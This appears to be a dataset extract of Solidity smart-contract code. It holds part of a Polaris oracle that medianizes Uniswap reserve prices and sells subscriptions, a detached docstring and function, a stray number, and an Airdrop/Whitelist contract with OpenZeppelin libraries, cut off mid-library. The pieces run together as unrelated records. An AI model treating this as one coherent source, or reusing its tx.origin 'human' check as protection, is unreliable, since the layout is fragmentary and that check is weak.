medianizer.prices.push(checkpoint); } } /** * @dev Find the median given an array of checkpoints. * @param checkpoints The array of checkpoints to find the median. * @return The median checkpoint within the given array. */ function _medianize(Checkpoint[] memory checkpoints) internal pure returns (Checkpoint memory) { // To minimize complexity, return the higher of the two middle checkpoints in even-sized arrays instead of the average. uint k = checkpoints.length.div(2); uint left = 0; uint right = checkpoints.length.sub(1); while (left < right) { uint pivotIndex = left.add(right).div(2); Checkpoint memory pivotCheckpoint = checkpoints[pivotIndex]; (checkpoints[pivotIndex], checkpoints[right]) = (checkpoints[right], checkpoints[pivotIndex]); uint storeIndex = left; for (uint i = left; i < right; i++) { if (_isLessThan(checkpoints[i], pivotCheckpoint)) { (checkpoints[storeIndex], checkpoints[i]) = (checkpoints[i], checkpoints[storeIndex]); storeIndex++; } } (checkpoints[storeIndex], checkpoints[right]) = (checkpoints[right], checkpoints[storeIndex]); if (storeIndex < k) { left = storeIndex.add(1); } else { right = storeIndex; } } return checkpoints[k]; } /** * @dev Determine if checkpoint x is less than checkpoint y. * @param x The first checkpoint for comparison. * @param y The second checkpoint for comparison. * @return True if x is less than y. */ function _isLessThan(Checkpoint memory x, Checkpoint memory y) internal pure returns (bool) { return x.ethReserve.mul(y.tokenReserve) < y.ethReserve.mul(x.tokenReserve); } /** * @dev Check if msg.sender is an externally owned account. * @return True if msg.sender is an externally owned account, false if smart contract. */ function _isHuman() internal view returns (bool) { return msg.sender == tx.origin; } /** * @dev Get the reserve values of a Uniswap exchange for a given token. * @param token The token to query the reserve values for. * @return A checkpoint holding the appropriate reserve values. */ function _newCheckpoint(address token) internal view returns (Checkpoint memory) { address payable exchange = uniswap.getExchange(token); return Checkpoint({ ethReserve: exchange.balance, tokenReserve: IERC20(token).balanceOf(exchange) }); } /** * @dev Get subscriber status of a given account for a given token. * @param account The account to query. * @return True if subscribed. */ function _isSubscriber(Account storage account) internal view returns (bool) { // Strict inequality to return false for users who never subscribed and owe zero. return account.balance > _getOwedAmount(account); } /** * @dev Get amount owed by an account. Accrued amount minus collections. * @param account The account to query. * @return Amount owed. */ function _getOwedAmount(Account storage account) internal view returns (uint) { if (account.collectionTimestamp == 0) return 0; uint timeElapsed = block.timestamp.sub(account.collectionTimestamp); return MONTHLY_SUBSCRIPTION_FEE.mul(timeElapsed).div(ONE_MONTH_IN_SECONDS); } /** * @dev Determine whether a given checkpoint would be rewarded with newly minted oracle tokens. * @param token The address of the token to query checkpoint for. * @param checkpoint The checkpoint to test for reward of oracle tokens. * @return True if given checkpoint satisfies any of the following: * Less than required checkpoints exist to calculate a valid median * Exceeds max time since last checkpoint * Exceeds minimum price change from median AND no pending checkpoints * Exceeds minimum percent change from pending checkpoints median * Exceeds minimum percent change from last checkpoint */ function _willRewardCheckpoint(address token, Checkpoint memory checkpoint) internal view returns (bool) { Medianizer memory medianizer = medianizers[token]; return ( medianizer.prices.length < MAX_CHECKPOINTS || block.timestamp.sub(medianizer.latestTimestamp) >= MAX_TIME_SINCE_LAST_CHECKPOINT || (block.timestamp.sub(medianizer.pendingStartTimestamp) >= PENDING_PERIOD && _percentChange(medianizer.median, checkpoint) >= MIN_PRICE_CHANGE) || _percentChange(medianizer.prices[medianizer.tail], checkpoint) >= MIN_PRICE_CHANGE || _percentChange(medianizer.pending[medianizer.pending.length.sub(1)], checkpoint) >= MIN_PRICE_CHANGE ); } /** * @dev Get the percent change between two checkpoints. * @param x The first checkpoint. * @param y The second checkpoint. * @return The absolute value of the percent change, with 18 decimals of precision (e.g., .01e18 = 1%). */ function _percentChange(Checkpoint memory x, Checkpoint memory y) internal pure returns (uint) { uint a = x.ethReserve.mul(y.tokenReserve); uint b = y.ethReserve.mul(x.tokenReserve); uint diff = a > b ? a.sub(b) : b.sub(a); return diff.mul(10 ** 18).div(a); } }
Subscribe to read the price of a given token (e.g, DAI). token The address of the token to subscribe to./
function subscribe(address token) public payable { Account storage account = accounts[token][msg.sender]; _collect(token, account); account.balance = account.balance.add(msg.value); require(account.balance >= MONTHLY_SUBSCRIPTION_FEE, "Polaris::subscribe: Account balance is below the minimum"); emit Subscribe(token, msg.sender, msg.value); }
12,769,230
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./Whitelist.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract Airdrop is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 token; Whitelist whitelist; mapping(address => uint) public claimed; uint256 public airdropAmount; event SetAmount(uint256 newAmount); event AirdropClaimed(address recipient, uint256 amount); event TokensWithdrawn(uint256 withdrawAmount); constructor(IERC20 _token, Whitelist _whitelist, uint256 _airdropAmount) { token = _token; whitelist = _whitelist; airdropAmount = _airdropAmount; } /** * @dev Allows owner to change the airdrop amount * @param _newAmount — new airdrop amount */ function setAmount(uint256 _newAmount) external onlyOwner { airdropAmount = _newAmount; emit SetAmount(_newAmount); } /** * @dev withdraws tokens from the contract. Only owner can withdraw. * @param _amount — amount of tokens to withdraw */ function withdrawTokens(uint256 _amount) external onlyOwner { token.safeTransfer(msg.sender, _amount); emit TokensWithdrawn(_amount); } /** * @dev Allows a whitelisted address to claim airdrop */ function claim() external { require(claimed[msg.sender] < airdropAmount, "Airdrop::claim:: sender already claimed airdrop"); require(whitelist.isWhitelisted(msg.sender), "Airdrop::claim:: address is not whitelisted"); uint tokensToClaim = airdropAmount.sub(claimed[msg.sender]); claimed[msg.sender] = airdropAmount; token.safeTransfer(msg.sender, tokensToClaim); emit AirdropClaimed(msg.sender, tokensToClaim); } /** * @dev calculates remaining airdrops left according to current token balance and airdrop size */ function airdropsLeft() external view returns (uint256) { return(token.balanceOf(address(this)).div(airdropAmount)); } } // Whitelist.sol // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "@openzeppelin/contracts/access/AccessControl.sol"; /* * Implements Whitelisting pattern using OpenZeppelin AccessRole */ contract Whitelist is AccessControl { bytes32 public constant WHITELIST_ADMIN = keccak256("WHITELIST_ADMIN"); bytes32 public constant WHITELISTED = keccak256("WHITELISTED"); constructor() { _setRoleAdmin(WHITELIST_ADMIN, WHITELIST_ADMIN); _setRoleAdmin(WHITELISTED, WHITELIST_ADMIN); _setupRole(WHITELIST_ADMIN, msg.sender); } modifier onlyWhitelistAdmin { require(hasRole(WHITELIST_ADMIN, msg.sender), "Caller is not a whitelist admin"); _; } modifier onlyWhitelisted { require(hasRole(WHITELISTED, msg.sender), "Caller is not a whitelisted"); _; } function addWhitelistAdmin(address account) onlyWhitelistAdmin external { grantRole(WHITELIST_ADMIN, account); } function removeWhitelistAdmin(address account) onlyWhitelistAdmin external { revokeRole(WHITELIST_ADMIN, account); } function addWhitelisted(address account) onlyWhitelistAdmin external { grantRole(WHITELISTED, account); } function removeWhitelisted(address account) onlyWhitelistAdmin external { revokeRole(WHITELISTED, account); } function isWhitelisted(address account) external view returns (bool) { return hasRole(WHITELISTED, account); } function isWhitelistAdmin(address account) external view returns (bool) { return hasRole(WHITELIST_ADMIN, account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. 